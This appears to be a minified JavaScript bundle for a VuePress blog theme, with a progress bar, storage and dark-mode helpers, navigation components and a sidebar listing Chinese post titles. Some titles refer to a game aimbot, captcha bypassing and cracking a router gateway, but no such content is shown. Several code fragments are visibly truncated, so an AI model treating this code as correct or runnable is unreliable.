fe={settings:{minimum:.08,easing:"ease",speed:200,trickle:!0,trickleRate:.02,trickleSpeed:800,barSelector:'[role="bar"]',parent:"body",template:''},status:null,set:e=>{const t=fe.isStarted();e=Xo(e,fe.settings.minimum,1),fe.status=e===1?null:e;const n=fe.render(!t),o=n.querySelector(fe.settings.barSelector),l=fe.settings.speed,r=fe.settings.easing;return n.offsetWidth,tf(i=>{ro(o,{transform:"translate3d("+ti(e)+"%,0,0)",transition:"all "+l+"ms "+r}),e===1?(ro(n,{transition:"none",opacity:"1"}),n.offsetWidth,setTimeout(function(){ro(n,{transition:"all "+l+"ms linear",opacity:"0"}),setTimeout(function(){fe.remove(),i()},l)},l)):setTimeout(()=>i(),l)}),fe},isStarted:()=>typeof fe.status=="number",start:()=>{fe.status||fe.set(0);const e=()=>{setTimeout(()=>{fe.status&&(fe.trickle(),e())},fe.settings.trickleSpeed)};return fe.settings.trickle&&e(),fe},done:e=>!e&&!fe.status?fe:fe.inc(.3+.5*Math.random()).set(1),inc:e=>{let t=fe.status;return t?(typeof e!="number"&&(e=(1-t)*Xo(Math.random()*t,.1,.95)),t=Xo(t+e,0,.994),fe.set(t)):fe.start()},trickle:()=>fe.inc(Math.random()*fe.settings.trickleRate),render:e=>{if(fe.isRendered())return document.getElementById("nprogress");ni(document.documentElement,"nprogress-busy");const t=document.createElement("div");t.id="nprogress",t.innerHTML=fe.settings.template;const n=t.querySelector(fe.settings.barSelector),o=e?"-100":ti(fe.status||0),l=document.querySelector(fe.settings.parent);return ro(n,{transition:"all 0 linear",transform:"translate3d("+o+"%,0,0)"}),l!==document.body&&ni(l,"nprogress-custom-parent"),l==null||l.appendChild(t),t},remove:()=>{oi(document.documentElement,"nprogress-busy"),oi(document.querySelector(fe.settings.parent),"nprogress-custom-parent");const e=document.getElementById("nprogress");e&&nf(e)},isRendered:()=>!!document.getElementById("nprogress")},Xo=(e,t,n)=>e n?n:e,ti=e=>(-1+e)*100,tf=function(){const e=[];function t(){const n=e.shift();n&&n(t)}return function(n){e.push(n),e.length===1&&t()}}(),ro=function(){const e=["Webkit","O","Moz","ms"],t={};function n(i){return i.replace(/^-ms-/,"ms-").replace(/-([\da-z])/gi,function(a,s){return s.toUpperCase()})}function o(i){const a=document.body.style;if(i in a)return i;let s=e.length;const c=i.charAt(0).toUpperCase()+i.slice(1);let u;for(;s--;)if(u=e[s]+c,u in a)return u;return i}function l(i){return i=n(i),t[i]??(t[i]=o(i))}function r(i,a,s){a=l(a),i.style[a]=s}return function(i,a){for(const s in a){const c=a[s];c!==void 0&&Object.prototype.hasOwnProperty.call(a,s)&&r(i,s,c)}}}(),Os=(e,t)=>(typeof e=="string"?e:Ul(e)).indexOf(" "+t+" ")>=0,ni=(e,t)=>{const n=Ul(e),o=n+t;Os(n,t)||(e.className=o.substring(1))},oi=(e,t)=>{const n=Ul(e);if(!Os(e,t))return;const o=n.replace(" "+t+" "," ");e.className=o.substring(1,o.length-1)},Ul=e=>(" "+(e.className||"")+" ").replace(/\s+/gi," "),nf=e=>{e&&e.parentNode&&e.parentNode.removeChild(e)},of=()=>{je(()=>{const e=Jt(),t=new Set;t.add(e.currentRoute.value.path),e.beforeEach(n=>{t.has(n.path)||fe.start()}),e.afterEach(n=>{t.add(n.path),fe.done()})})},lf=St({setup(){of()}}),rf=JSON.parse(`{"sidebar":{"/notebook/":[{"text":"graphql","link":"/notebook/graphql/","collapsible":true,"children":[{"text":"graphql和python","link":"/notebook/graphql/graphql和python.md"},{"text":"graphql遇到过的问题","link":"/notebook/graphql/graphql遇到过的问题.md"},{"text":"ddd+graphql数据流","link":"/notebook/graphql/ddd+graphql数据流.md"}]},{"text":"3D建模","link":"/notebook/3D建模/","collapsible":true,"children":[{"text":"webodm配置安装","link":"/notebook/3D建模/webodm配置安装.md"}]},{"text":"markdown学习","link":"/notebook/markdown学习.md"},{"text":"docker","link":"/notebook/docker.md"},{"text":"linux关闭访问日志及mysql","link":"/notebook/linux关闭访问日志及mysql.md"},{"text":"Mysql","link":"/notebook/Mysql.md"},{"text":"adb","link":"/notebook/adb.md"},{"text":"linux学习","link":"/notebook/linux学习.md"},{"text":"2019年年度汇报","link":"/notebook/2019年年度汇报.md"},{"text":"webpack-source_map","link":"/notebook/webpack-source_map.md"},{"text":"vue修改数组内的对象","link":"/notebook/vue修改数组内的对象.md"},{"text":"teg争霸赛","link":"/notebook/teg争霸赛.md"},{"text":"oceanus","link":"/notebook/oceanus.md"},{"text":"django缓存","link":"/notebook/django缓存.md"},{"text":"nginx","link":"/notebook/nginx.md"},{"text":"kodi","link":"/notebook/kodi.md"},{"text":"使用onedrive在win10和linux之间同步","link":"/notebook/使用onedrive在win10和linux之间同步.md"},{"text":"vscode替代codeblock","link":"/notebook/vscode替代codeblock.md"},{"text":"博客搭建","link":"/notebook/博客搭建.md"},{"text":"cf-tools","link":"/notebook/cf-tools.md"},{"text":"重置CMD设置","link":"/notebook/重置CMD设置.md"},{"text":"url重定向","link":"/notebook/url重定向.md"},{"text":"数据传输","link":"/notebook/数据传输.md"},{"text":"数据整理","link":"/notebook/数据整理.md"},{"text":"k2p-luci","link":"/notebook/k2p-luci.md"},{"text":"mac+win10双系统下的时间问题","link":"/notebook/mac+win10双系统下的时间问题.md"},{"text":"使用罗技摄像头+斐讯n1盒子直播","link":"/notebook/使用罗技摄像头+斐讯n1盒子直播.md"},{"text":"[n1盒子]使用n1盒子以及罗技摄像头进行直播","link":"/notebook/[n1盒子]使用n1盒子以及罗技摄像头进行直播.md"},{"text":"[k2p]更新官改固件v1.9中的ssr-server","link":"/notebook/[k2p]更新官改固件v1.9中的ssr-server.md"},{"text":"2022-8机械键盘需求","link":"/notebook/2022-8机械键盘需求.md"},{"text":"购买记录","link":"/notebook/购买记录.md"},{"text":"显卡","link":"/notebook/显卡.md"},{"text":"分辨率","link":"/notebook/分辨率.md"},{"text":"显卡需求分析","link":"/notebook/显卡需求分析.md"},{"text":"文件描述符与缓冲区","link":"/notebook/文件描述符与缓冲区.md"},{"text":"图形抗锯齿","link":"/notebook/图形抗锯齿.md"},{"text":"密码管理","link":"/notebook/密码管理.md"},{"text":"变量命名相关","link":"/notebook/变量命名相关.md"},{"text":"运动手表","link":"/notebook/运动手表.md"}],"/ops/":[{"text":"vmware虚拟机硬盘调整","link":"/ops/vmware虚拟机硬盘调整.md"},{"text":"硬盘速度测试","link":"/ops/硬盘速度测试.md"},{"text":"购买参考","link":"/ops/购买参考.md"},{"text":"【运维】expect","link":"/ops/【运维】expect.md"},{"text":"sudo","link":"/ops/sudo.md"},{"text":"k8s","link":"/ops/k8s.md"},{"text":"ubuntu_x11","link":"/ops/ubuntu_x11.md"},{"text":"oj","link":"/ops/oj.md"},{"text":"代理使用","link":"/ops/代理使用.md"},{"text":"drone","link":"/ops/drone.md"},{"text":"网盘与同步","link":"/ops/网盘与同步.md"},{"text":"[mysql]主从复制","link":"/ops/[mysql]主从复制.md"}],"/python/":[{"text":"cv","link":"/python/cv/","collapsible":true,"children":[{"text":"基于yolov5的cf自瞄","link":"/python/cv/基于yolov5的cf自瞄.md"},{"text":"部署paddle框架之ocr","link":"/python/cv/部署paddle框架之ocr.md"},{"text":"conda","link":"/python/cv/conda.md"},{"text":"cuda","link":"/python/cv/cuda.md"},{"text":"pytorch","link":"/python/cv/pytorch.md"}]},{"text":"python对比两个时间字符串","link":"/python/python对比两个时间字符串.md"},{"text":"python使用正则过滤表情符号","link":"/python/python使用正则过滤表情符号.md"},{"text":"python打印行号","link":"/python/python打印行号.md"},{"text":"爬虫-使用接口过tx滑块验证","link":"/python/爬虫-使用接口过tx滑块验证.md"},{"text":"进程管理","link":"/python/进程管理.md"},{"text":"爬虫-过简单js加密","link":"/python/爬虫-过简单js加密.md"},{"text":"python任务队列","link":"/python/python任务队列.md"},{"text":"爬虫-pdd调研","link":"/python/爬虫-pdd调研.md"},{"text":"爬虫-记一次过反爬虫的经历","link":"/python/爬虫-记一次过反爬虫的经历.md"},{"text":"机器学习-nsfw","link":"/python/机器学习-nsfw.md"},{"text":"pythongui-父子进程与孤儿进程","link":"/python/pythongui-父子进程与孤儿进程.md"},{"text":"面试","link":"/python/面试.md"},{"text":"以图搜图","link":"/python/以图搜图.md"},{"text":"celery异步任务","link":"/python/celery异步任务.md"},{"text":"django","link":"/python/django.md"},{"text":"pydantic特殊验证","link":"/python/pydantic特殊验证.md"}],"/router/":[{"text":"记一次破解天翼网关","link":"/router/记一次破解天翼网关.md"},{"text":"zerotier、二级路由、DMZ","link":"/router/zerotier、二级路由、DMZ.md"},{"text":"zerotier","link":"/router/zerotier.md"},{"text":"异地组网","link":"/router/异地组网.md"},{"text":"监控某个服务正常运行","link":"/router/监控某个服务正常运行.md"},{"text":"简易监控","link":"/router/简易监控.md"}],"/video/":[{"text":"ffmpeg","link":"/video/ffmpeg.md"},{"text":"shinobi-开源NVR","link":"/video/shinobi-开源NVR.md"}],"/web/":[{"text":"[web]装饰器模式在canvas里的应用","link":"/web/[web]装饰器模式在canvas里的应用.md"},{"text":"[mysql]全表查询的优化","link":"/web/[mysql]全表查询的优化.md"},{"text":"[web]服务端渲染与客户端渲染","link":"/web/[web]服务端渲染与客户端渲染.md"},{"text":"[计算机网络]ip协议","link":"/web/[计算机网络]ip协议.md"},{"text":"运维相关","link":"/web/运维相关.md"},{"text":"[python]以图搜图系统","link":"/web/[python]以图搜图系统.md"},{"text":"[web]web模型","link":"/web/[web]web模型.md"},{"text":"[计算机网络]路由器","link":"/web/[计算机网络]路由器.md"},{"text":"[计算机网络]iptables","link":"/web/[计算机网络]iptables.md"},{"text":"23-5-22pg数据库的中文排序","link":"/web/23-5-22pg数据库的中文排序.md"},{"text":"基于ddd的架构","link":"/web/基于ddd的架构.md"},{"text":"[project]项目配置文件","link":"/web/[project]项目配置文件.md"},{"text":"[异步任务与事务]","link":"/web/[异步任务与事务].md"},{"text":"乐观锁、悲观锁、分布式锁","link":"/web/乐观锁、悲观锁、分布式锁.md"}]},"navbar":[{"text":"python","link":"/python/"},{"text":"web","link":"/web/"},{"text":"notebook","link":"/notebook/"},{"text":"ops","link":"/ops/"},{"text":"router","link":"/router/"},{"text":"video","link":"/video/"}],"locales":{"/":{"selectLanguageName":"English"}},"colorMode":"auto","colorModeSwitch":true,"logo":null,"repo":null,"selectLanguageText":"Languages","selectLanguageAriaLabel":"Select language","sidebarDepth":2,"editLink":true,"editLinkText":"Edit this page","lastUpdated":true,"lastUpdatedText":"Last Updated","contributors":true,"contributorsText":"Contributors","notFound":["There's nothing here.","How did we get here?","That's a Four-Oh-Four.","Looks like we've got some broken links."],"backToHome":"Take me home","openInNewWindow":"open in new window","toggleColorMode":"toggle color mode","toggleSidebar":"toggle sidebar"}`),sf=_e(rf),Fs=()=>sf,Is=Symbol(""),af=()=>{const e=Le(Is);if(!e)throw new Error("useThemeLocaleData() is called without provider.");return e},cf=(e,t)=>{const{locales:n,...o}=e;return{...o,...n==null?void 0:n[t]}},uf=St({enhance({app:e}){const t=Fs(),n=e._context.provides[$l],o=j(()=>cf(t.value,n.value));e.provide(Is,o),Object.defineProperties(e.config.globalProperties,{$theme:{get(){return t.value}},$themeLocale:{get(){return o.value}}})}}),df=de({__name:"Badge",props:{type:{type:String,required:!1,default:"tip"},text:{type:String,required:!1,default:""},vertical:{type:String,required:!1,default:void 0}},setup(e){return(t,n)=>(z(),te("span",{class:Ke(["badge",e.type]),style:Nn({verticalAlign:e.vertical})},[Ae(t.$slots,"default",{},()=>[It(Re(e.text),1)])],6))}}),we=(e,t)=>{const n=e.__vccOpts||e;for(const[o,l]of t)n[o]=l;return n},ff=we(df,[["__file","Badge.vue"]]);function li(e,t){var n;const o=Cl();return ji(()=>{o.value=e()},{...t,flush:(n=t==null?void 0:t.flush)!=null?n:"sync"}),qn(o)}function hf(e,t){let n,o,l;const r=_e(!0),i=()=>{r.value=!0,l()};Ge(e,i,{flush:"sync"});const a=typeof t=="function"?t:t.get,s=typeof t=="function"?void 0:t.set,c=Ia((u,d)=>(o=u,l=d,{get(){return r.value&&(n=a(),r.value=!1),o(),n},set(f){s==null||s(f)}}));return Object.isExtensible(c)&&(c.trigger=i),c}function Ss(e){return bi()?(ua(e),!0):!1}function En(e){return typeof e=="function"?e():ne(e)}const pf=typeof window<"u"&&typeof document<"u";typeof WorkerGlobalScope<"u"&&globalThis instanceof WorkerGlobalScope;const mf=Object.prototype.toString,Ef=e=>mf.call(e)==="[object Object]",vf=()=>{};function _f(e,t){function n(...o){return new Promise((l,r)=>{Promise.resolve(e(()=>t.apply(this,o),{fn:t,thisArg:this,args:o})).then(l).catch(r)})}return n}const Vs=e=>e();function gf(e=Vs){const t=_e(!0);function n(){t.value=!1}function o(){t.value=!0}const l=(...r)=>{t.value&&e(...r)};return{isActive:qn(t),pause:n,resume:o,eventFilter:l}}function bf(e){return e||Il()}function Af(e,t,n={}){const{eventFilter:o=Vs,...l}=n;return Ge(e,_f(o,t),l)}function yf(e,t,n={}){const{eventFilter:o,...l}=n,{eventFilter:r,pause:i,resume:a,isActive:s}=gf(o);return{stop:Af(e,t,{...l,eventFilter:r}),pause:i,resume:a,isActive:s}}function Bf(e,t=!0,n){const o=bf(n);o?je(e,o):t?e():zn(e)}function kf(e=!1,t={}){const{truthyValue:n=!0,falsyValue:o=!1}=t,l=Ie(e),r=_e(e);function i(a){if(arguments.length)return r.value=a,r.value;{const s=En(n);return r.value=r.value===s?En(o):s,r.value}}return l?i:[r,i]}function wf(e){var t;const n=En(e);return(t=n==null?void 0:n.$el)!=null?t:n}const wo=pf?window:void 0;function ri(...e){let t,n,o,l;if(typeof e[0]=="string"||Array.isArray(e[0])?([n,o,l]=e,t=wo):[t,n,o,l]=e,!t)return vf;Array.isArray(n)||(n=[n]),Array.isArray(o)||(o=[o]);const r=[],i=()=>{r.forEach(u=>u()),r.length=0},a=(u,d,f,E)=>(u.addEventListener(d,f,E),()=>u.removeEventListener(d,f,E)),s=Ge(()=>[wf(t),En(l)],([u,d])=>{if(i(),!u)return;const f=Ef(d)?{...d}:d;r.push(...n.flatMap(E=>o.map(A=>a(u,E,A,f))))},{immediate:!0,flush:"post"}),c=()=>{s(),i()};return Ss(c),c}function xf(){const e=_e(!1);return Il()&&je(()=>{e.value=!0}),e}function Lf(e){const t=xf();return j(()=>(t.value,!!e()))}function Df(e,t={}){const{window:n=wo}=t,o=Lf(()=>n&&"matchMedia"in n&&typeof n.matchMedia=="function");let l;const r=_e(!1),i=c=>{r.value=c.matches},a=()=>{l&&("removeEventListener"in l?l.removeEventListener("change",i):l.removeListener(i))},s=ji(()=>{o.value&&(a(),l=n.matchMedia(En(e)),"addEventListener"in l?l.addEventListener("change",i):l.addListener(i),r.value=l.matches)});return Ss(()=>{s(),a(),l=void 0}),r}const io=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},so="__vueuse_ssr_handlers__",Cf=Tf();function Tf(){return so in io||(io[so]=io[so]||{}),io[so]}function Rf(e,t){return Cf[e]||t}function Pf(e){return e==null?"any":e instanceof Set?"set":e instanceof Map?"map":e instanceof Date?"date":typeof e=="boolean"?"boolean":typeof e=="string"?"string":typeof e=="object"?"object":Number.isNaN(e)?"any":"number"}const Of={boolean:{read:e=>e==="true",write:e=>String(e)},object:{read:e=>JSON.parse(e),write:e=>JSON.stringify(e)},number:{read:e=>Number.parseFloat(e),write:e=>String(e)},any:{read:e=>e,write:e=>String(e)},string:{read:e=>e,write:e=>String(e)},map:{read:e=>new Map(JSON.parse(e)),write:e=>JSON.stringify(Array.from(e.entries()))},set:{read:e=>new Set(JSON.parse(e)),write:e=>JSON.stringify(Array.from(e))},date:{read:e=>new Date(e),write:e=>e.toISOString()}},ii="vueuse-storage";function Ms(e,t,n,o={}){var l;const{flush:r="pre",deep:i=!0,listenToStorageChanges:a=!0,writeDefaults:s=!0,mergeDefaults:c=!1,shallow:u,window:d=wo,eventFilter:f,onError:E=I=>{console.error(I)},initOnMounted:A}=o,B=(u?Cl:_e)(typeof t=="function"?t():t);if(!n)try{n=Rf("getDefaultStorage",()=>{var I;return(I=wo)==null?void 0:I.localStorage})()}catch(I){E(I)}if(!n)return B;const x=En(t),T=Pf(x),C=(l=o.serializer)!=null?l:Of[T],{pause:_,resume:b}=yf(B,()=>H(B.value),{flush:r,deep:i,eventFilter:f});return d&&a&&Bf(()=>{ri(d,"storage",g),ri(d,ii,M),A&&g()}),A||g(),B;function H(I){try{if(I==null)n.removeItem(e);else{const P=C.write(I),W=n.getItem(e);W!==P&&(n.setItem(e,P),d&&d.dispatchEvent(new CustomEvent(ii,{detail:{key:e,oldValue:W,newValue:P,storageArea:n}})))}}catch(P){E(P)}}function Y(I){const P=I?I.newValue:n.getItem(e);if(P==null)return s&&x!=null&&n.setItem(e,C.write(x)),x;if(!I&&c){const W=C.read(P);return typeof c=="function"?c(W,x):T==="object"&&!Array.isArray(W)?{...x,...W}:W}else return typeof P!="string"?P:C.read(P)}function M(I){g(I.detail)}function g(I){if(!(I&&I.storageArea!==n)){if(I&&I.key==null){B.value=x;return}if(!(I&&I.key!==e)){_();try{(I==null?void 0:I.newValue)!==C.write(B.value)&&(B.value=Y(I))}catch(P){E(P)}finally{I?zn(b):b()}}}}}function Ff(e){return Df("(prefers-color-scheme: dark)",e)}const If=de({name:"CodeGroup",slots:Object,setup(e,{slots:t}){const n=_e([]),o=_e(-1),l=Ms("vuepress-code-group",{}),r=j(()=>n.value.map(c=>c.innerText).join(","));je(()=>{Ge(()=>l.value[r.value],(c=-1)=>{o.value!==c&&(o.value=c)},{immediate:!0}),Ge(o,c=>{l.value[r.value]!==c&&(l.value[r.value]=c)})});const i=(c=o.value)=>{c {c>0?o.value=c-1:o.value=n.value.length-1,n.value[o.value].focus()},s=(c,u)=>{c.key===" "||c.key==="Enter"?(c.preventDefault(),o.value=u):c.key==="ArrowRight"?(c.preventDefault(),i(u)):c.key==="ArrowLeft"&&(c.preventDefault(),a(u))};return()=>{var u;const c=(((u=t.default)==null?void 0:u.call(t))||[]).filter(d=>d.type.name==="CodeGroupItem").map(d=>(d.props===null&&(d.props={}),d));return c.length===0?null:(o.value<0||o.value>c.length-1?(o.value=c.findIndex(d=>d.props.active===""||d.props.active===!0),o.value===-1&&(o.value=0)):c.forEach((d,f)=>{d.props.active=f===o.value}),ce("div",{class:"code-group"},[ce("div",{class:"code-group__nav"},ce("ul",{class:"code-group__ul"},c.map((d,f)=>{const E=f===o.value;return ce("li",{class:"code-group__li"},ce("button",{ref:A=>{A&&(n.value[f]=A)},class:{"code-group__nav-tab":!0,"code-group__nav-tab-active":E},ariaPressed:E,ariaExpanded:E,onClick:()=>o.value=f,onKeydown:A=>s(A,f)},d.props.title))}))),c]))}}}),Sf=["aria-selected"],Vf=de({name:"CodeGroupItem"}),Mf=de({...Vf,props:{title:{type:String,required:!0},active:{type:Boolean,required:!1,default:!1}},setup(e){return(t,n)=>(z(),te("div",{class:Ke(["code-group-item",{"code-group-item__active":e.active}]),"aria-selected":e.active},[Ae(t.$slots,"default")],10,Sf))}}),$f=we(Mf,[["__file","CodeGroupItem.vue"]]),Nf=()=>Fs(),qe=()=>af(),$s=Symbol(""),Kl=()=>{const e=Le($s);if(!e)throw new Error("useDarkMode() is called without provider.");return e},Hf=()=>{const e=qe(),t=Ff(),n=Ms("vuepress-color-scheme",e.value.colorMode),o=j({get(){return e.value.colorModeSwitch?n.value==="auto"?t.value:n.value==="dark":e.value.colorMode==="dark"},set(l){l===t.value?n.value="auto":n.value=l?"dark":"light"}});Kt($s,o),qf(o)},qf=e=>{const t=(n=e.value)=>{const o=window==null?void 0:window.document.querySelector("html");o==null||o.classList.toggle("dark",n)};je(()=>{Ge(e,t,{immediate:!0})}),Io(()=>t())},Ns=(...e)=>{const n=Jt().resolve(...e),o=n.matched[n.matched.length-1];if(!(o!=null&&o.redirect))return n;const{redirect:l}=o,r=ie(l)?l(n):l,i=Ee(r)?{path:r}:r;return Ns({hash:n.hash,query:n.query,params:n.params,...i})},Wl=e=>{const t=Ns(encodeURI(e));return{text:t.meta.title||e,link:t.name==="404"?e:t.fullPath}};let el=null,Bn=null;const jf={wait:()=>el,pending:()=>{el=new Promise(e=>Bn=e)},resolve:()=>{Bn==null||Bn(),el=null,Bn=null}},Hs=()=>jf,qs=Symbol("sidebarItems"),Yl=()=>{const e=Le(qs);if(!e)throw new Error("useSidebarItems() is called without provider.");return e},zf=()=>{const e=qe(),t=vt(),n=j(()=>Uf(t.value,e.value));Kt(qs,n)},Uf=(e,t)=>{const n=e.sidebar??t.sidebar??"auto",o=e.sidebarDepth??t.sidebarDepth??2;return e.home||n===!1?[]:n==="auto"?Wf(o):ee(n)?js(n,o):Ml(n)?Yf(n,o):[]},Kf=(e,t)=>({text:e.title,link:e.link,children:Zl(e.children,t)}),Zl=(e,t)=>t>0?e.map(n=>Kf(n,t-1)):[],Wf=e=>{const t=Yt();return[{text:t.value.title,children:Zl(t.value.headers,e)}]},js=(e,t)=>{const n=Qt(),o=Yt(),l=r=>{var a;let i;if(Ee(r)?i=Wl(r):i=r,i.children)return{...i,children:i.children.map(s=>l(s))};if(i.link===n.path){const s=((a=o.value.headers[0])==null?void 0:a.level)===1?o.value.headers[0].children:o.value.headers;return{...i,children:Zl(s,t)}}return i};return e.map(r=>l(r))},Yf=(e,t)=>{const n=Qt(),o=fs(e,n.path),l=e[o]??[];return js(l,t)},Zf="719px",Gf={mobile:Zf};var Mn;(function(e){e.MOBILE="mobile"})(Mn||(Mn={}));var hi;const Jf={[Mn.MOBILE]:Number.parseInt((hi=Gf.mobile)==null?void 0:hi.replace("px",""),10)},zs=(e,t)=>{const n=Jf[e];Number.isInteger(n)&&je(()=>{t(n),window.addEventListener("resize",()=>t(n),!1),window.addEventListener("orientationchange",()=>t(n),!1)})},Qf={},Xf={class:"theme-default-content"};function eh(e,t){const n=gt("Content");return z(),te("div",Xf,[le(n)])}const th=we(Qf,[["render",eh],["__file","HomeContent.vue"]]),nh={key:0,class:"features"},oh=de({__name:"HomeFeatures",setup(e){const t=vt(),n=j(()=>ee(t.value.features)?t.value.features:[]);return(o,l)=>n.value.length?(z(),te("div",nh,[(z(!0),te(ye,null,Ot(n.value,r=>(z(),te("div",{key:r.title,class:"feature"},[pe("h2",null,Re(r.title),1),pe("p",null,Re(r.details),1)]))),128))])):xe("v-if",!0)}}),lh=we(oh,[["__file","HomeFeatures.vue"]]),rh=["innerHTML"],ih=["textContent"],sh=de({__name:"HomeFooter",setup(e){const t=vt(),n=j(()=>t.value.footer),o=j(()=>t.value.footerHtml);return(l,r)=>n.value?(z(),te(ye,{key:0},[xe(" eslint-disable-next-line vue/no-v-html "),o.value?(z(),te("div",{key:0,class:"footer",innerHTML:n.value},null,8,rh)):(z(),te("div",{key:1,class:"footer",textContent:Re(n.value)},null,8,ih))],64)):xe("v-if",!0)}}),ah=we(sh,[["__file","HomeFooter.vue"]]),ch=["href","rel","target","aria-label"],uh=de({inheritAttrs:!1}),dh=de({...uh,__name:"AutoLink",props:{item:{type:Object,required:!0}},setup(e){const t=e,n=Qt(),o=gs(),{item:l}=Ro(t),r=j(()=>Yn(l.value.link)),i=j(()=>!r.value&&Lu(l.value.link)),a=j(()=>{if(!i.value){if(l.value.target)return l.value.target;if(r.value)return"_blank"}}),s=j(()=>a.value==="_blank"),c=j(()=>!r.value&&!i.value&&!s.value),u=j(()=>{if(!i.value){if(l.value.rel)return l.value.rel;if(s.value)return"noopener noreferrer"}}),d=j(()=>l.value.ariaLabel||l.value.text),f=j(()=>{const B=Object.keys(o.value.locales);return B.length?!B.some(x=>x===l.value.link):l.value.link!=="/"}),E=j(()=>f.value?n.path.startsWith(l.value.link):!1),A=j(()=>c.value?l.value.activeMatch?new RegExp(l.value.activeMatch).test(n.path):E.value:!1);return(B,x)=>{const T=gt("RouterLink"),C=gt("AutoLinkExternalIcon");return c.value?(z(),Ce(T,fl({key:0,class:{"router-link-active":A.value},to:ne(l).link,"aria-label":d.value},B.$attrs),{default:Ve(()=>[Ae(B.$slots,"before"),It(" "+Re(ne(l).text)+" ",1),Ae(B.$slots,"after")]),_:3},16,["class","to","aria-label"])):(z(),te("a",fl({key:1,class:"external-link",href:ne(l).link,rel:u.value,target:a.value,"aria-label":d.value},B.$attrs),[Ae(B.$slots,"before"),It(" "+Re(ne(l).text)+" ",1),s.value?(z(),Ce(C,{key:0})):xe("v-if",!0),Ae(B.$slots,"after")],16,ch))}}}),_t=we(dh,[["__file","AutoLink.vue"]]),fh={class:"hero"},hh={key:0,id:"main-title"},ph={key:1,class:"description"},mh={key:2,class:"actions"},Eh=de({__name:"HomeHero",setup(e){const t=vt(),n=Nl(),o=Kl(),l=j(()=>o.value&&t.value.heroImageDark!==void 0?t.value.heroImageDark:t.value.heroImage),r=j(()=>t.value.heroAlt||a.value||"hero"),i=j(()=>t.value.heroHeight||280),a=j(()=>t.value.heroText===null?null:t.value.heroText||n.value.title||"Hello"),s=j(()=>t.value.tagline===null?null:t.value.tagline||n.value.description||"Welcome to your VuePress site"),c=j(()=>ee(t.value.actions)?t.value.actions.map(({text:d,link:f,type:E="primary"})=>({text:d,link:f,type:E})):[]),u=()=>{if(!l.value)return null;const d=ce("img",{src:ql(l.value),alt:r.value,height:i.value});return t.value.heroImageDark===void 0?d:ce(Hl,()=>d)};return(d,f)=>(z(),te("header",fh,[le(u),a.value?(z(),te("h1",hh,Re(a.value),1)):xe("v-if",!0),s.value?(z(),te("p",ph,Re(s.value),1)):xe("v-if",!0),c.value.length?(z(),te("p",mh,[(z(!0),te(ye,null,Ot(c.value,E=>(z(),Ce(_t,{key:E.text,class:Ke(["action-button",[E.type]]),item:E},null,8,["class","item"]))),128))])):xe("v-if",!0)]))}}),vh=we(Eh,[["__file","HomeHero.vue"]]),_h={class:"home"},gh=de({__name:"Home",setup(e){return(t,n)=>(z(),te("main",_h,[le(vh),le(lh),le(th),le(ah)]))}}),bh=we(gh,[["__file","Home.vue"]]),Ah=de({__name:"NavbarBrand",setup(e){const t=Zn(),n=Nl(),o=qe(),l=Kl(),r=j(()=>o.value.home||t.value),i=j(()=>n.value.title),a=j(()=>l.value&&o.value.logoDark!==void 0?o.value.logoDark:o.value.logo),s=()=>{if(!a.value)return null;const c=ce("img",{class:"logo",src:ql(a.value),alt:i.value});return o.value.logoDark===void 0?c:ce(Hl,()=>c)};return(c,u)=>{const d=gt("RouterLink");return z(),Ce(d,{to:r.value},{default:Ve(()=>[le(s),i.value?(z(),te("span",{key:0,class:Ke(["site-name",{"can-hide":a.value}])},Re(i.value),3)):xe("v-if",!0)]),_:1},8,["to"])}}}),yh=we(Ah,[["__file","NavbarBrand.vue"]]),Bh=de({__name:"DropdownTransition",setup(e){const t=o=>{o.style.height=o.scrollHeight+"px"},n=o=>{o.style.height=""};return(o,l)=>(z(),Ce(Wn,{name:"dropdown",onEnter:t,onAfterEnter:n,onBeforeLeave:t},{default:Ve(()=>[Ae(o.$slots,"default")]),_:3}))}}),Us=we(Bh,[["__file","DropdownTransition.vue"]]),kh=["aria-label"],wh={class:"title"},xh=pe("span",{class:"arrow down"},null,-1),Lh=["aria-label"],Dh={class:"title"},Ch={class:"navbar-dropdown"},Th={class:"navbar-dropdown-subtitle"},Rh={key:1},Ph={class:"navbar-dropdown-subitem-wrapper"},Oh=de({__name:"NavbarDropdown",props:{item:{type:Object,required:!0}},setup(e){const t=e,{item:n}=Ro(t),o=j(()=>n.value.ariaLabel||n.value.text),l=_e(!1),r=Qt();Ge(()=>r.path,()=>{l.value=!1});const i=s=>{s.detail===0?l.value=!l.value:l.value=!1},a=(s,c)=>c[c.length-1]===s;return(s,c)=>(z(),te("div",{class:Ke(["navbar-dropdown-wrapper",{open:l.value}])},[pe("button",{class:"navbar-dropdown-title",type:"button","aria-label":o.value,onClick:i},[pe("span",wh,Re(ne(n).text),1),xh],8,kh),pe("button",{class:"navbar-dropdown-title-mobile",type:"button","aria-label":o.value,onClick:c[0]||(c[0]=u=>l.value=!l.value)},[pe("span",Dh,Re(ne(n).text),1),pe("span",{class:Ke(["arrow",l.value?"down":"right"])},null,2)],8,Lh),le(Us,null,{default:Ve(()=>[_o(pe("ul",Ch,[(z(!0),te(ye,null,Ot(ne(n).children,u=>(z(),te("li",{key:u.text,class:"navbar-dropdown-item"},[u.children?(z(),te(ye,{key:0},[pe("h4",Th,[u.link?(z(),Ce(_t,{key:0,item:u,onFocusout:d=>a(u,ne(n).children)&&u.children.length===0&&(l.value=!1)},null,8,["item","onFocusout"])):(z(),te("span",Rh,Re(u.text),1))]),pe("ul",Ph,[(z(!0),te(ye,null,Ot(u.children,d=>(z(),te("li",{key:d.link,class:"navbar-dropdown-subitem"},[le(_t,{item:d,onFocusout:f=>a(d,u.children)&&a(u,ne(n).children)&&(l.value=!1)},null,8,["item","onFocusout"])]))),128))])],64)):(z(),Ce(_t,{key:1,item:u,onFocusout:d=>a(u,ne(n).children)&&(l.value=!1)},null,8,["item","onFocusout"]))]))),128))],512),[[Bo,l.value]])]),_:1})],2))}}),Fh=we(Oh,[["__file","NavbarDropdown.vue"]]),si=e=>decodeURI(e).replace(/#.*$/,"").replace(/(index)?\.(md|html)$/,""),Ih=(e,t)=>{if(t.hash===e)return!0;const n=si(t.path),o=si(e);return 